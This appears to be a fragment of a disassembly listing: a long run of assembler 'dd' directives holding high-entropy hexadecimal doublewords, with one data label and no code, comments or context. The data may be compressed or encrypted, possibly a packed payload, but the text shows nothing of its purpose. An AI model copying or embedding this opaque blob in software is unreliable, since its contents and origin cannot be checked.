		dd 0BC8FCBC4h, 0F74E0011h, 20B57ADEh, 0B80FA7C1h, 1C392B2h
		dd 0D8A42326h, 661E7085h, 31480FE5h, 57B0EB80h,	683A4FC1h
		dd 8D3E80E0h, 0ECFCA595h, 96A01C54h, 86B540C6h,	0F2F56104h
		dd 684F800h, 1D5193F9h,	58F000A5h, 0D3C1E0CCh, 503C5EFh
		dd 7D54BA34h, 0A850FB3Bh, 14BBC492h, 0C1C1651Fh, 7FC71200h
		dd 5FDC393Fh, 0E6493024h, 4B9CF00Eh, 4209807Ah,	1361EACh
		dd 58ECEF1h, 0D4C71131h, 651F58E8h, 9200A440h, 43F5E0A3h
		dd 30D700A0h, 243C0B82h, 0CBF033A6h, 3A31CF0Ah,	3600B8CAh
		dd 2275B457h, 0DF7CECh,	1254DDEFh, 0FB7DB6C2h, 6D588C01h
		dd 0C72C6CCBh, 58D1D60h, 7C031BFAh, 56F4C3E9h, 9CA691B8h
		dd 5E3F0EFCh, 87728013h, 1D749798h, 0AFA1D96h, 9E288022h
		dd 56667D41h, 937C6E00h, 0C42E697Bh, 3B5B0058h,	72F3E007h
		dd 0A704B651h, 391C16A6h, 0C8697090h, 37D700F2h, 0C5951B05h
		dd 1100153Bh, 0FC385F70h, 0FAA02Bh, 0ABAC521Fh,	0E91A3639h
		dd 80D3D23Ch, 0F0735638h, 2C04ECAh, 0AB28B08Ah,	44C85C9Dh
		dd 9F399975h, 8D5593FFh, 5F5EFC43h, 0ED79E084h,	15F30159h
		dd 0C7ACD1D2h, 0D0FBF5C0h, 4102BA31h, 5470AB47h, 8DB8E872h
		dd 5F9801A2h, 0DB935E48h, 5410608Bh, 80067900h,	955C6219h
		dd 25A40613h, 71B215EFh, 0CFBE0D01h, 0CE5D7226h, 7FDD9ECh
		dd 3F96866Eh, 735790F0h, 69019CC9h, 8C5C7144h, 0F824A86Dh
		dd 0CDB20091h, 6710F3DDh, 89B8B8F1h, 0BADF9A01h, 709739B5h
		dd 35002028h, 23BF8F4Dh, 0FB1418A3h, 0E23D7Bh, 0C5CAEFE8h
		dd 0D6AE9Fh, 95C18E27h,	77576B64h, 4F1305F4h, 93006FE1h
		dd 0A12DEC36h, 42580EF3h, 82E07C23h, 6294BBEEh,	0EAB91B00h
		dd 71C2070h, 66BC01B2h,	0D5F490A9h, 1B2B60FDh, 0A48F3900h
		dd 74EB9E03h, 0B02D003Fh, 0F47326E1h, 0D507AABFh, 754236BCh
		dd 729F837Eh, 0F73CC804h, 0BEF0381h, 5CC583FFh,	0A099FE80h
		dd 1D00A7E0h, 0DABCC2ACh, 0FB3EFD7h, 85DF65D5h,	2D2066AEh
		dd 1C94D860h, 45F62A00h, 807C20E8h, 716B0033h, 298CF548h
		dd 0C2008813h, 24025FF1h, 39606E8Bh, 0DA0E5D1Ch, 4A77E47h
		dd 0DB461055h, 833982E9h, 19858971h, 129403E7h,	0C8E6F5h
		dd 483A2346h, 0BFB1FE4Bh, 0C9B4E11Fh, 910CA9C0h, 0F89B2149h
		dd 5AA12CC4h, 23960259h, 0B2C07424h, 3307589Ah,	0AD0C7A56h
		dd 0E3C0C454h, 0F55D1Dh, 10B52B61h, 0A6F8C1A1h,	1BE070F2h
		dd 0F139DC7Dh, 0B02A8142h, 2D3669B2h, 0AC96818Fh, 8A85B963h
		dd 8EF4F93Fh, 9812528Ch, 40B59FE8h, 6500691Dh, 14B0492Dh
		dd 0E10A0BEh, 113C7A3Fh, 0E62ADBC0h, 0F800E1C2h, 57C9C1B1h
		dd 683E4h, 0F7260A98h, 0E6672A40h, 7A5D79C0h, 24B1B2D7h
		dd 8A32EDh, 89AAC144h, 7B0095CEh, 0DCA80F25h, 9FFA6Ch
		dd 47DD5B49h, 901AA0Ch,	0BE59EA07h, 0A96A3Bh, 8C813DC0h
		dd 361A00FEh, 33E4A00Ah
		dd 0C1DCF1Dh, 6F80A547h, 658D4C75h, 0F5B077h, 30BE10C9h
		dd 0DA432468h, 406062E4h, 276A547Ah, 165E0352h,	1133AAD3h
		dd 6384F0A0h, 4107E400h, 286D0375h, 2439CBCFh, 1ABE1780h
		dd 7A001183h, 99233BE8h, 0C09004h, 5755F4A5h, 0A18D071Dh
		dd 2D86181Eh, 6CCF4100h, 744413h, 3E547FC1h, 5E9D84F7h
		dd 0FA5F3400h, 381839B1h, 86F00B2Fh, 9380F813h,	1FED0D7Ah
		dd 0E8EBB530h, 72E7CEh,	0F63C4B27h, 1C9ED4C4h, 0BA7B5E1Eh
		dd 695B3D41h, 0B8804FE7h, 0F5536228h, 92034E71h, 688154C7h
		dd 0D545A0FCh, 7C3B028Bh, 194C6539h, 24FEF881h,	0C1E4D096h
		dd 731AA600h, 400225E7h, 5F795C6Bh, 8455300h, 0D4C1B690h
		dd 0B0FA560Fh, 0ED66409Bh, 1D9D04h, 10F41B30h, 901C7647h
		dd 958E4400h, 0CDE82257h, 8BED0085h, 0D2746DD8h, 3EE2C8D5h
		dd 990E400h, 14CDB933h,	45ED008Bh, 3478FCDBh, 78901C12h
		dd 7E859F00h, 0B34A424Bh, 0B78909E4h, 0A83A8C7h, 12B8559Ch
		dd 830024E0h, 0EAA08B1Dh, 3E4F4D0Ch, 0C449662Ch, 1B892F01h
		dd 0F78AF80Eh, 0EB3AB8B8h, 0B0C07D0Eh, 5400721Ah, 0B4CF9ED1h
		dd 0BD2906E5h, 18C490E2h, 1A5490C0h, 98694E79h,	0ABC10074h
		dd 0C51460D9h, 6C00DF8Eh, 0AFF02B48h, 0F024E8EDh, 8AF1605Ah
		dd 0B1A3F355h, 88500F37h, 0CF136A03h, 0E828A809h, 8E0BBC21h
		dd 981F0A71h, 0D981A835h, 89E95B6Eh, 990020h, 1FB733A7h
		dd 0EB251CA2h, 0D6B0D800h, 75C40965h, 47F7BC5h,	0E35AC646h
		dd 0DE04802Eh, 7E3B2F55h, 730075DAh, 9185C12Dh,	49D8CAF4h
		dd 0D700A00Ch, 90555AE5h, 6CE87D9Ah, 5400B4E8h,	0AFF96E21h
		dd 0FDF180h, 0C63ECFC1h, 272687Fh, 8F3E1872h, 7BB8FA2h
		dd 0EE634047h, 1EE9146Bh, 80513A9Fh, 52E15028h,	9D002B42h
		dd 1E93CCE2h, 0E3F80Ch,	3E4688B5h, 0A7F08697h, 0B7D57700h
		dd 0B35E9F1h, 0CC6248E7h, 82A9700Eh, 864C5100h,	0F700E4A1h
		dd 8A722048h, 7175CB69h, 406600AAh, 0ECEDAC64h,	0B03995A1h
		dd 0B7B871h, 69B31958h,	1E9E1A2Ah, 46FD6B6Dh, 1978388Ch
		dd 5FE1531Eh, 44AE87C5h, 8B88C0FAh, 0DF0004A1h,	0B412A488h
		dd 12689D3h, 82066AF8h,	0CC206D5Bh, 4F000455h, 5F4BCE15h
		dd 3A11A8DBh, 0AC4C6A38h, 35544104h, 0CD080B9h,	9C078980h
		dd 0B28210B1h, 48270E52h, 329F870h, 35E537ADh, 9C3F6990h
		dd 4A6E8005h, 82B8E0D0h, 7E46070Eh, 97D2C5Bh, 6C2BACA0h
		dd 0B601AAC4h, 0B11761D0h, 864AD1Ch, 0B77600CDh, 9F3306E6h
		dd 0E0004ECEh, 0B8917ABCh, 5D08305h, 72D57350h,	0C2249015h
		dd 0EB1FA7F9h, 3546F46Eh, 3A171D9h, 84B06BC6h, 20813049h
		dd 0E20DE451h, 5956DC3Eh, 0A2A1418h, 24DA3018h,	3A08F479h
		dd 720A6F50h, 9028DE35h, 3041036Ah, 0A0218119h,	2CC56Eh
		dd 0A45D9FCCh, 0B05482A6h, 0EAF59003h, 93831E2Dh, 80EDC294h
		dd 89017A08h, 0DC201440h, 1B004450h, 6E88BF81h,	1B90FE04h
		dd 11B19E16h, 40319C5Ah, 0A0029C44h, 0D4107048h, 211E1C21h
		dd 20418019h, 1F09304h,	0E6BD58C0h, 0EC923F62h,	9B8D00EBh
		dd 0C3A44875h, 160E237Ch, 0C062C2A8h, 39E9E158h, 310C3D8Bh
		dd 0FEEC7700h, 0A6EDAED8h, 799C2D03h, 0A885F9B1h, 1012495h
		dd 94C73E14h, 0E8D9201Ah, 3207D32Dh, 33EE4D12h,	0E6E90980h
		dd 0A3850028h, 0B66D453Dh, 600039E2h, 9D41D15Ah, 2C92C0Fh
		dd 3826D399h, 0EF40E3EAh, 0E902662Dh, 0F529F759h, 0E47B60D2h
		dd 97760061h, 0CED5952Ah, 101E3FCh, 289B067h, 0A4505194h
		dd 59F7428Ch, 910FF02Ah, 0AE09928h, 0DB622018h,	321D4900h
		dd 3EE9A9EBh, 0C88900B2h, 1FFBB0Eh, 290077DEh, 1F31AC40h
		dd 33696A6h, 58C9FA84h,	61804575h, 0D60192B7h, 0D0201446h
		dd 29E88FD4h, 0AF2E00BFh, 9EB3DCC1h, 88031697h,	6E495327h
		dd 4834CAD8h, 24B39D7Ch, 0EE577Ah, 0BCB50BD7h, 0DD05ECF8h
		dd 9E104EC3h, 0CD4EF80h, 0C2FA1D9Bh, 3A518CE0h,	0D500EB19h
		dd 4DD82DECh, 177E0B2Bh, 1CE0111Ah, 40D25E88h, 0BF636057h
		dd 4D3CB486h, 0B3468005h, 5FF6F1E8h, 0F0F200D5h, 402CF62h
		dd 445C601Ah, 6D390238h, 0F6D2EA8Bh, 2083012Ch,	308CD005h
		dd 5300AEA8h, 4D287825h, 39CB443Ah, 9E00C5DAh, 4A7F6A1Fh
		dd 0E306F2D3h, 809B01A7h, 9DD004E8h, 0C4DF7360h, 0DA3CC2ECh
		dd 2C5CF8C0h, 8B16E379h, 244716CDh, 65B17AA7h, 0B29260C8h
		dd 503104FCh, 8D00D02Ah, 9E5D98FBh, 40C73FCh, 11DD7E22h
		dd 7B3E00A8h, 50E73D38h, 4F1234C9h, 90405C35h, 0D883CA6Eh
		dd 0DBAF00E1h, 0E4600665h, 9E0330A9h, 57735110h, 7790FF86h
		dd 3FC8A684h, 44BE92D3h, 994AB281h, 0E8361D82h,	960013B7h
		dd 51B3FCA8h, 0EE3AFAh,	1E90FD2Bh, 0AC272CE5h, 31E9D800h
		dd 67398468h, 186000A9h, 0E6A58E09h, 50F01129h,	0C4374001h
		dd 2F6691D3h, 57AAC8h, 0B049417Ch, 0A2B7B2E7h, 9D1B9B00h
		dd 0EFBFE5E6h, 64D60058h, 0FBC8929h, 0DB00832Dh, 0EAB2FB4Ah
		dd 7DF53F5h, 15AECE99h,	7ADC0038h, 0EF029610h, 38B264Bh
		dd 9DB4A717h, 0FF727ED0h, 609480h, 0F593BE13h, 0D7E4E6B8h
		dd 1E3F7F02h, 486B0DCCh, 0C71294h, 48D553A1h, 6A5D6FD6h
		dd 0C8503D0Fh, 83786EE1h, 275CD9h, 0F4D6B651h, 0ACB5096Bh
		dd 1CE8212Eh, 914D7600h, 12E06E37h, 0C7BD24C2h,	0A9BF17Ch
		dd 0C88861B2h, 0C909E08h, 240E122h, 0C0CEE45Fh,	0A4802AADh
		dd 50411EF5h, 420158h, 0BAF169FEh, 2EE30F0h, 1BF90E18h
		dd 0C48F420h, 0EC039155h, 2428B1F3h, 68B4CA8Bh,	6C34B4h
		dd 0D485A45Ch, 2C618CA9h, 0AC11BE12h, 0B55F9400h, 3855265Eh
		dd 95013D12h, 0BEB30574h, 60D1822Fh, 0C12DCB4Ah, 4C310DC7h
		dd 74706E4h, 1A50CFF3h,	0C5E0D024h, 8600AF78h, 0E6799FFBh
		dd 3F602h, 1D91A069h, 0EE31EFA1h, 0BB8DB48h, 807B90CFh
		dd 69807968h, 5C850B0Dh, 8480D631h, 0DB5D3466h,	6BF1A700h
		dd 0B8064DA4h, 94C501E4h, 0B193D5E9h, 0CB9DCABh, 0DBFAD803h
		dd 909A1C76h, 99C2E3Dh,	363BF540h, 9432DB80h, 42E24316h
		dd 26C00300h, 0FAB0B42Fh, 0BC7D003Ch, 5867B2ACh, 43EF6F92h
		dd 0D0895F98h, 52DCFC78h, 44093B15h, 83C81384h,	5E11F300h
		dd 866D7Fh, 9750FF7h, 5D94F56Fh, 0B0088E0h, 81A871DDh
		dd 0AFE404h, 85204DE0h,	0DFF3C580h, 0CCD8F100h,	0B06E38E6h
		dd 70BC00A3h, 45430CF4h, 0FD04D41Ch, 1DB69C78h,	3533E880h
		dd 2E67ECE7h, 8C65B1h, 0D2C7AB2Fh, 0FCA0F1C9h, 0C83AB8D9h
		dd 361C02FBh, 50DCAA76h, 654803A4h, 0A917A43Fh,	0EACAC4E0h
		dd 98018D4h, 200E1EAEh,	9624DF3Ch, 93E4002Bh, 7F01A4B2h
		dd 9007F931h, 729C7A57h, 5BFABBC0h, 28E50030h, 0D8F5C49Eh
		dd 0E000B15Ah, 94834F8Fh, 0AD3EA0h, 10318499h, 0EA58907Ah
		dd 2CDFA400h, 43F65FAAh, 4E60039h, 7072914Ch, 900A5FEh
		dd 7ED6D21Ch, 371248h, 0EDA3C64Dh, 7534B6F9h, 6E15581Dh
		dd 0AC433DDh, 54D05570h, 249ABB67h, 28DFD6E2h, 1E6D0BD7h
		dd 80DF89A8h, 0DD40F724h, 0E9FA02EEh, 8692F9Fh,	2B00E050h
		dd 7D8891F2h, 0DA6BDBh,	820549EFh, 0E74AFE51h, 1C597500h
		dd 0B587C925h, 9A3C3A85h, 56E8680h, 0C4BD7B4Eh,	3FA9AF0Fh
		dd 1C5E409Ch, 68E484h, 0F07E8A43h, 0E5DC83F5h, 0AE00E1F6h
		dd 0BF96283Fh, 0BA20DBh, 0FCAFF3B6h, 0DFF15F8Ch, 0FBB4E400h
		dd 9FF5ECB3h, 26E61C45h
		dd 0E8B6C10Bh, 0D02259DCh, 0C30F9046h, 8134F4BDh, 5561581Eh
		dd 0DFA960D6h, 7482FCD8h, 4D620A09h, 0B4D41Bh, 0CC769C19h
		dd 74E17DECh, 510EE898h, 4042C4FFh, 0B3344CAAh,	0BFA826C5h
		dd 54CE8720h, 80FF451Ah, 0F00C78ECh, 4B0B9A00h,	9E1E4E1Dh
		dd 40A0DC7Bh, 6C8FBE91h, 0AC125433h, 4C041BB0h,	0F0F3B1FAh
		dd 8105513Dh, 0C8EA9367h, 9F1680CCh, 45017811h,	0B621A123h
		dd 1579B0FBh, 0A85D6313h, 81E7588Bh, 9E1C089Ch,	1702A010h
		dd 0E07DF15Ah, 94D302E0h, 3C05018h, 0F09158C3h,	0DC68001h
		dd 67F403FAh, 141F8166h, 3041ABA0h, 93F41878h, 864CEB54h
		dd 383C1101h, 3187F851h, 262BF9D0h, 7B71C0h, 0C61D6415h
		dd 35F478CDh, 0D8E8EC00h, 598DF476h, 129C705Ah,	8C62B2A4h
		dd 15006F30h, 0D7B0E883h, 3B1324h, 0DAD991B7h, 800CC6FAh
		dd 2BF8787Fh, 0D8E2DEC1h, 4CD076E0h, 259700C5h,	2206F14Dh
		dd 0EB004A91h, 0BA64AB03h, 0B966C4h, 58D4E5DEh,	8E6BDD23h
		dd 0E00F59B8h, 0C1B6F601h, 0B95C9463h, 529C8C40h, 0C85A0EE4h
		dd 3840B181h, 68BA84E9h, 4B00337Dh, 1B226D59h, 2ED9B9h
		dd 0FED898A2h, 0CE11CFABh, 5039E700h, 0B16F219Dh, 94A60086h
		dd 7558A16Ah, 5D03F155h, 0A9C7A5FFh, 0D2D7C0EFh, 0AC95004Eh
		dd 0A68A2AE4h, 221216B4h, 882B9AAh, 4704452h, 3B8E6436h
		dd 207E807Dh, 0E101F96Ch, 5967B4CAh, 68FE4192h,	39D7A364h
		dd 0F0004EC0h, 10F5B388h, 28007E58h, 8B1C4341h,	1612F83h
		dd 113F93E9h, 0F926FBE5h, 89D93028h, 0D851052Ch, 5D2C0781h
		dd 0F1DCBD38h, 9C042E64h, 0ADB2073Dh, 0C9F840DCh, 1200A130h
		dd 0F9BFDA20h, 9EB0E6Eh, 0A5C3E491h, 89029402h,	0FC8240C8h
		dd 19C097EAh, 990747F7h, 9F443E16h, 8BCE1780h, 5C3F41F3h
		dd 0B0ACE43Dh, 687CD02Eh, 0E37D336Fh, 53E80411h, 5094A6Bh
		dd 3FB76Dh, 21620BF1h, 3AE2268Bh, 657E80D4h, 37AB4A2Ch
		dd 0B4A81354h, 642B440Ch, 5C11E7h, 0E1AFCC79h, 55A98721h
		dd 4D312601h, 683EA36Fh, 4F001429h, 63C2B6FFh, 7600EB03h
		dd 81F6380Eh, 4B1B8h, 0A0FBDF97h, 7E45BAF3h, 0D3658h, 0C3E3A528h
		dd 5425Eh, 7318EB15h, 0A2B01352h, 0C6011BFAh, 0B8CF1463h
		dd 908388D2h, 0EAE00639h, 0D8B0C1C0h, 4C39C9E2h, 8A318016h
		dd 6E4A6C6h, 2C4A0BC3h,	7C98BA6Dh, 7A093857h, 20FD6349h
		dd 24600204h, 0DECF07C4h, 5189D5A6h, 38FE1197h,	226505A0h
		dd 2CB0A75Ch, 0C5F00D3h, 57C826Ch, 0BA38398Bh, 30439F2Dh
		dd 7BFEE540h, 26999C2Ah, 0E0C2F66h, 0B101D496h,	87015E34h
		dd 516E3EA0h, 4EA932B0h, 1A5A03E3h, 45235038h, 0F85D2A8h
		dd 0F44F2B0Ah, 9B8BACD6h, 0A874CBFCh, 0C110BCh,	0EA63AE18h
		dd 73B88B7Ah, 4064EB00h, 2D7FC042h, 89E93067h, 0F48C2EE0h
		dd 2308D300h, 18AF327Ch, 0A440FFB2h, 3B46E6D9h,	0A8004413h
		dd 5E2B01E3h, 9C00D479h, 22DC9974h, 55FC4h, 704C1340h
		dd 5E77377Ch, 3A0CA1EAh, 58305447h, 45093DB9h, 8F247581h
		dd 0D096C0C3h, 4B011153h, 0DC73622Ah, 0D8812EBEh, 6EE0F2F9h
		dd 0A9A08177h, 188BB10Ch, 1794824h, 27F6A805h, 79DE0F8Dh
		dd 5CFD8074h, 0F2C8D1h,	3C23A835h, 0CD528FF1h, 73652107h
		dd 5940DF57h, 3D67F812h, 86838BA6h, 6010D74Dh, 419BE5FFh
		dd 0B7147BFCh, 0C844049h, 0EE01C289h, 0D5ABD9DDh, 60648E6Ah
		dd 2F377EEBh, 9002108Dh, 7A20B49Ah, 0FFBD0Eh, 27EC982Eh
		dd 0E0AE2B43h, 0F590D100h, 2C48BB25h, 71EC76h, 1114F452h
		dd 466A0605h, 13B6D01Eh, 0B8517FC3h, 0FB9A902Ch, 0CFE003C3h
		dd 24E56535h, 57C9C0F0h, 54448302h, 6034134Fh, 0BA42A7E2h
		dd 0ABDB1C08h, 1F7F849Bh, 0AFC5FCh, 0E0936D4Fh,	4F0185FAh
		dd 683A750Fh, 0DCC84F0h, 0A6EA0350h, 4DBAA101h,	0CC88983h
		dd 2801F64Bh, 0C5D90A49h, 0A06DA32Ch, 0C348CA03h, 9C805E9Eh
		dd 0E3000D15h, 8CD3D64Ah, 0BF123Ah, 8F2219AEh, 0E7210C5Dh
		dd 0E2ACD400h, 0BA912D9Eh, 52ECE36Bh, 0C3761825h, 1B89491Ch
		dd 6A533900h, 55207079h, 40E800DBh, 88644D75h, 9370A5AEh
		dd 42446100h, 0EDC86E83h, 2A24079Eh, 50C2FC54h,	3D68C7A3h
		dd 85911213h, 0B9721480h, 1458EA83h, 0D4AA2AB1h, 0D05F8200h
		dd 5EB5C44Fh, 0E5408A00h, 77FCEE96h, 5090A084h,	7CBF81Bh
		dd 386AB486h, 448750EDh, 43008F0Dh, 81225A7Bh, 1CBF48Ah
		dd 860FDE4Bh, 0C44C6523h, 2D002740h, 2CA67A10h,	632F8Dh
		dd 0E7D686A2h, 388A4A88h, 5F8EC60Eh, 7226A1CAh,	30802CD9h
		dd 8572AB4h, 7C1D9470h,	8064B839h, 0A32F7780h, 1738169Bh
		dd 93DAAF84h, 4FD2C46Ch, 0EAAD5840h, 8005683Fh,	0B8593BCBh
		dd 122C8D39h, 0D3101Bh,	0BA84C5Ch, 4E060119h, 0D03E7917h
		dd 5FCF0418h, 0B0BDFF44h, 0EC00064Ch, 0F03E4DA9h, 9526F11h
		dd 0BA0BFE93h, 852C5868h, 0CCC62500h, 0ADF3C994h, 3C575D4h
		dd 1A505CBEh, 0FBB0A992h, 0AC00B49Fh, 9598C24Ah, 57D579h
		dd 0E3802786h, 0B43BC1CFh, 6737E900h, 0A04FB39Dh, 9CBE3CE4h
		dd 0FD870C38h, 602E5258h, 0DA05BCE3h, 0ED008C98h, 8DE7B848h
		dd 24178014h, 3C16D9Bh,	0F969A986h, 3775E1A0h, 9FD82F0Eh
		dd 0A0526EC5h, 438780D2h, 332E051Eh, 3F0EE8Fh, 7F6EDBDCh
		dd 113CF7E0h, 0D7CF9500h, 40519FE9h, 1E237E57h,	0F9C97C45h
		dd 82718681h, 0F84AF1F4h, 8124673Ch, 4C1C44C2h,	0FE3D980h
		dd 93FCDh, 3B1F72D3h, 54F62AE1h, 6001171h, 0B7AD8337h
		dd 0D09FF3h, 0CA9D76A8h, 9CC396FBh, 5E32500h, 749B323Eh
		dd 12F23D58h, 3FDDE08Fh, 0D00F9DE7h, 790DF38Ch,	0BD472A00h
		dd 9FD073AAh, 4E5E00D4h, 90C54D6Fh, 0C1F6668Ah,	0E5F7400h
		dd 59ECD2CFh, 44000F9h,	0C0C40DDDh, 65004DEDh, 5754D44Fh
		dd 9C2E66C9h, 0F7006BD4h, 0E2D99D75h, 0A7E69A12h, 710098B3h
		dd 2DD74620h, 560009B7h, 0C2B13C55h, 0F71D78F5h, 4CB85064h
		dd 0E40548CAh, 0D0067CF9h, 9436D68Ch, 18595601h, 2D1AF105h
		dd 0B4163C3Ch, 0E35C0798h, 50202721h, 68D7D571h, 0A964B900h
		dd 44B6C1D1h, 0B1F4E20Fh, 0FEBD12DCh, 64FCF80Bh, 94910FD8h
		dd 5107DA01h, 6C3020A8h, 93257A81h, 92C411FFh, 0D065802h
		dd 8893282Ch, 59860F10h, 4140D330h, 87996382h, 8154B03Bh
		dd 0E7C4CC5Ah, 49C17405h, 3614C5F0h, 7039EFEEh,	40E92A70h
		dd 835F948h, 0F4982CBCh, 0C975B56Ch, 2C825C11h,	30F0052Ch
		dd 9720E46h, 99733021h,	6B0E4064h, 0C1642FF9h, 0D44EF554h
		dd 381E0330h, 0B000BEDEh, 2C129D1Ah, 61004540h,	0A511E48Ch
		dd 6D8634h, 601AF895h, 392F3673h, 0C9C23500h, 88E1D00Ch
		dd 0CBC03FB5h, 5AA2A000h, 1E6342F0h, 60B1B303h,	0B859A67Ch
		dd 56B65C6h, 7EF43ADBh,	49B40015h, 5F60FD3Dh, 8959821Eh
		dd 0FA0000E4h, 63A0F517h, 9D3C0074h, 39AD4624h,	0FE007E01h
		dd 9A67959Fh, 754ECD7Ch, 41090330h, 7E792C40h, 7082C098h
		dd 0EFA0F824h, 17C9DE00h, 0E9CD54h, 85A946CEh, 436E4180h
		dd 0E5AC8B0Ah, 5B80A85Ah, 69D3C8CAh, 0B3B10237h, 5EDFEE0h
		dd 36D56820h, 9CF50119h, 9B9EA442h, 0B460E21Fh,	0F606C70Dh
		dd 2945C5Eh, 375B0031h,	0FE5FF4B9h, 0AB0E641Ah,	801F1659h
		dd 0EFE390B3h, 6CB60C66h, 2B8174E1h, 0A007D98h,	9D362283h
		dd 5EB934Bh, 0ACFC1B26h, 991400E6h, 973EF8A4h, 9B6E350Ch
		dd 4C15095h
dword_53835C	dd 0E46FC36Dh, 85764041h, 79247A59h, 0F72600F9h, 0DE9D8EE5h
		dd 283A6444h, 0B47C83E3h, 0A8C3A572h, 0F8DDF616h, 0B08D1FDBh
		dd 0AB910B03h, 0CD3D50A0h, 0A860746Ch, 2BFB1511h, 8FC00179h
		dd 0CC264767h, 48EDD9C1h, 6B0FC380h, 32F65506h,	0A0FBAC4Fh
		dd 64DCCE0Ah, 62A0039Ch, 1282B41Dh, 951C84A0h, 240D59h
		dd 0AA378636h, 0FC0DDF2h, 73631225h, 0A072C19Dh, 41390A80h
		dd 0BCDC2C34h, 92FD0FF1h, 20172018h, 7C72670h, 0BCB2940Eh
		dd 0AC48C08Eh, 470071D0h, 0D953EB84h, 8A1185h, 0D54C67A5h
		dd 8E25083Ch, 8784433h,	832101A8h, 0F9B84C6Ch, 0FD32E41Eh
		dd 9DAB3F18h, 7BEE2558h, 0F6F100C5h, 0AD075B50h, 0BB30B6C3h
		dd 0D0111870h, 73E20144h, 0BAFE64D1h, 3B4EC80Ch, 0DA218A62h
		dd 0D5984045h, 0CECF18AAh, 41845875h, 872FC518h, 0B8499B69h
		dd 8BEF1F4Bh, 0B03F1EAAh, 88F14B29h, 54DF5Ch, 9C813079h
		dd 3CAE0B5Fh, 400015A2h, 3BDF43E3h, 0A43BF24Ch,	2B368031h
		dd 2F9054DDh, 4A7EDh, 65DE51A1h, 11C7918Dh, 0B31AF80Ch
		dd 1AC8112h, 7D56100h, 0C3ED21E1h, 36B29800h, 0FCF6897Eh
		dd 0CD2C0054h, 6C1DF992h, 9C60EA5Ah, 0E51C3748h, 565080D7h
		dd 0EC648B01h, 0BA4555FCh, 3074A9C4h, 2F20D204h, 0C0291D89h
		dd 48EE20E2h, 90D6C07Bh, 28622A94h, 40CF34C9h, 7253772h
		dd 0DDDFFED0h, 213146D3h, 72C71F00h, 0B89BFA89h, 0C07502DEh
		dd 99571AE7h, 9DA35400h, 19650013h, 128FB10h, 261F0B18h
		dd 0A013574Dh, 0E2E3CB01h, 0A05032B8h, 16994CFh, 88F5CCBh
		dd 8CBFA49Ch, 20E2D708h, 69AC00E1h, 0C5823635h,	4E3B4ADBh
		dd 0A19C50A6h, 0FE206418h, 2DA4E0h, 8005CAF1h, 0E22FA8A9h
		dd 99C0D4E6h, 0A19E601Eh, 59EB60F4h, 93324C24h,	0A92148C0h
		dd 0C14D7EDEh, 0DC6317E9h, 4A5883E6h, 0F862CB4h, 0C7898149h
		dd 0FB1DFFC0h, 0A400266Eh, 7D258050h, 11347014h, 2E1527h
		dd 0E9748189h, 986CD9CFh, 40BE00D4h, 7D51727Fh,	3300631Eh
		dd 0CCEC0DA5h, 0F0E9489h, 7FF1AF50h, 95E77560h,	0C928E841h
		dd 0A804EC1Fh, 0FE07C354h, 0DBCD3C90h, 89800155h, 6033FCABh
		dd 0F8089813h, 5CE3BC21h, 0C6003755h, 92DFEB72h, 0C0606D1Dh
		dd 0A267E6D8h, 0CBD40544h, 4ECABF52h, 460C58Ch,	0F3FA2ABAh
		dd 87730200h, 0DE4038EEh, 6EF626h, 0ECDBF53Dh, 0B7FC5361h
		dd 0CB70801Fh, 802563D2h, 0E7493C04h, 0E64C2E01h, 6CD850F5h
		dd 4A80FBB8h, 1C0B07F1h, 80E670CAh, 3F64F3DBh, 2AAF2C39h
		dd 0F03DB895h, 1FF50189h, 1728DF80h, 83D1DEE5h,	91D22180h
		dd 24826B3Fh, 929E3419h, 65CCA069h, 0C4B092AAh,	0CDC3990h
		dd 2FE907h, 3FD6C4C9h, 9CB172Bh, 0D9DA39h, 0E2F8C134h
		dd 15716181h, 9C944E14h, 0A19C409Fh, 16338743h,	84B8142Ah
		dd 5024E07Bh, 0EF1170FDh, 0C869B980h, 448CA75Ch, 911FE4FBh
		dd 0F6C03C69h, 0F850ECAFh, 9C5B52A5h, 0C8DE5C84h, 1B005828h
		dd 0EFCE0959h, 54A1E221h, 132889Dh, 0F8C3F71Ah,	303F4E48h
		dd 0ACA9F238h, 0FE8C1890h, 881F10C6h, 9D94C8DEh, 3F5CD7h
		dd 0EFCD713Ch, 7E009938h, 1A53231h, 0F050A349h,	0E5EE06B9h
		dd 398757FCh, 0B41C500h, 0ABF8C078h, 0FD0100CAh, 0C6256C28h
		dd 461FAC4Ah, 0D42A7E5Ch, 0E2464090h, 0BB72CD01h, 0CD3D537h
		dd 0C5E98838h, 0C13E7200h, 66F4B5F0h, 733700F9h, 409F6ABEh
		dd 0A500B8A0h, 8D9CE5AEh, 736D653Eh, 27670162h,	9790A9EFh
		dd 0FC10B968h, 0B8111F7Ch, 4507724Ah, 0BA2BDFh,	0E85694A4h
		dd 216309CCh, 2BB70125h, 6F6DDD0Ch, 1918CFF1h, 650874A0h
		dd 30E100ABh, 0F3238FFCh, 85005BE7h, 0C37950Eh,	7A18D2h
		dd 0E966F647h, 6B9DBF68h, 0C18739C0h, 6881915h,	0E07176FBh
		dd 996008B3h, 15B9A421h, 5393014Ch, 7AF88C67h, 76F5E8D5h
		dd 0A73993Dh, 4843D66Fh, 0B21C7111h, 5569808Bh,	936E13DFh
		dd 9C631100h, 0D6B327Eh, 0EFF60A22h, 3F8C99DDh,	98670A15h
		dd 0C5279D0Eh, 0E5EA05B0h, 0A8006494h, 7DC92CCAh, 66420CF3h
		dd 0E9885926h, 0EF088942h, 0E8016AABh, 0FE72067Eh, 0CDF02AC9h
		dd 2350C08Ah, 5F93F960h, 0C0CADCA0h, 841FFE00h,	300DDACFh
		dd 73E0004Fh, 9B396376h, 672B20D9h, 0DD07D4BAh,	0D402C02Bh
		dd 106D1993h, 2BB533h, 0F310CC3Dh, 583E6B09h, 0B9C4610Ch
		dd 7388A88Bh, 806A600Ch, 0DE72F1F7h, 0F20CAC7Ch, 185D5304h
		dd 89950661h, 105E370Ch, 0E52A6BFCh, 55249072h,	3887247Ch
		dd 0B1A0B78Ah, 3C0AE94Eh, 0F81D46EEh, 70DDCCF3h, 1C108C70h
		dd 0DC033527h, 5550B166h, 2F824100h, 22F3C52Ah,	0EB74198Bh
		dd 80790832h, 2A179421h, 0F288AEF1h, 6AF303B8h,	6CF06F8Bh
		dd 0E005F100h, 482D145Eh, 0B9F30CE2h, 0C0787A29h, 0E556D600h
		dd 82CAA446h, 0C3690E8Dh, 452094E8h, 53C50EDBh,	39496A67h
		dd 0D2569AD0h, 83EF05C9h, 4DFA7AAh, 185E99Ch, 6707573Dh
		dd 9325FECh, 5678F47Dh,	3BF30C00h, 0D0303DFFh, 62D61083h
